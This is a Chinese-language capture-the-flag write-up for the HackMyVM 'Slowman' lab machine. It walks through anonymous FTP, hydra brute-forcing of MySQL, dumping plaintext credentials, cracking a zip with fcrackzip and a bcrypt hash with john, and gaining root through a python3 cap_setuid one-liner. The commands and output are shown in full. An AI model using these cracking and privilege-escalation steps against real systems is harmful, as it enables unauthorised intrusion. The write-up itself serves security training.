[HackMyVM]靶场 Slowman

kali:192.168.56.104

靶机:192.168.56.132

端口扫描

# nmap 192.168.56.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 15:28 CST
Nmap scan report for 192.168.56.132
Host is up (0.00066s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
3306/tcp open   mysql

开了20 21 22 80 3306端口

21端口匿名登陆，把passive模式关了

# ftp 192.168.56.132
Connected to 192.168.56.132.
220 (vsFTPd 3.0.5)
Name (192.168.56.132:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43514|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
ftp> get allowedusersmysql.txt
local: allowedusersmysql.txt remote: allowedusersmysql.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes).
100% |************************************************************************************************|    12        2.03 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes received in 00:00 (1.70 KiB/s)
ftp> exit
221 Goodbye.

有个txt文件，是sql用户名

# cat allowedusersmysql.txt 
trainerjeff

用hydra爆破登录

# hydra -l trainerjeff -P /usr/share/eaphammer/wordlists/rockyou.txt mysql://192.168.56.132
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-24 15:33:03
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking mysql://192.168.56.132:3306/
[3306][mysql] host: 192.168.56.132   login: trainerjeff   password: soccer1

爆破出来账号密码是trainerjeff/soccer1

连进去看看

# mysql -u trainerjeff -h 192.168.56.132 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1070
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+
5 rows in set (0.013 sec)

MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+
1 row in set (0.004 sec)

MySQL [trainers_db]> select * from users;
+----+-----------------+-------------------------------+
| id | user            | password                      |
+----+-----------------+-------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
|  2 | $SECRETLOGINURL | /secretLOGIN/login.html       |
+----+-----------------+-------------------------------+

有用户gonzalo的账号密码并且给了登录界面 /secretLOGIN/login.html 

gonzalo/tH1sS2stH3g0nz4l0pAsSWW0rDD!!

进去有压缩包文件

爆破一下

# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u  credentials.zip 


PASSWORD FOUND!!!!: pw == spongebob1

一下就爆出来了密码是spongebob1

# unzip credentials.zip 
Archive:  credentials.zip
[credentials.zip] passwords.txt password: 
  inflating: passwords.txt           
                                                                                                                                             
┌──(root㉿kali2)-[~/Desktop]
└─# cat passwords.txt        
----------
$USERS: trainerjean

$PASSWORD: $2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq 

用john爆破一下这个hash

# john abc.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
tweety1          (?)     
1g 0:00:04:31 DONE 2/3 (2024-03-24 15:50) 0.003681g/s 39.19p/s 39.19c/s 39.19C/s trevor1..unicorn1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

爆破出来密码是tweety1

ssh连接直接拿到user flag，还有一个python历史指令

trainerjean@slowman:~$ cat .python_history 
import os
os.system('bash')
os.system('0')
os.setid('0')
os.setuid('0')
exit

提权应该与python有关

/home下还有两个用户 不过都没权限进去

trainerjean@slowman:~$ ls /home
gonzalo  trainerjean  trainerjeff

想 提权root，尝试了sudo -l，无果，尝试看进程定时任务 无果

linpeas跑一下发现python有capabilities

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                              
Current env capabilities:                                                                                                                    
Current: =
Current proc capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

Parent Shell capabilities:
0x0000000000000000=

Files with capabilities (limited to 50):
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/python3.10 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

那就python的capabilities提权了

trainerjean@slowman:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)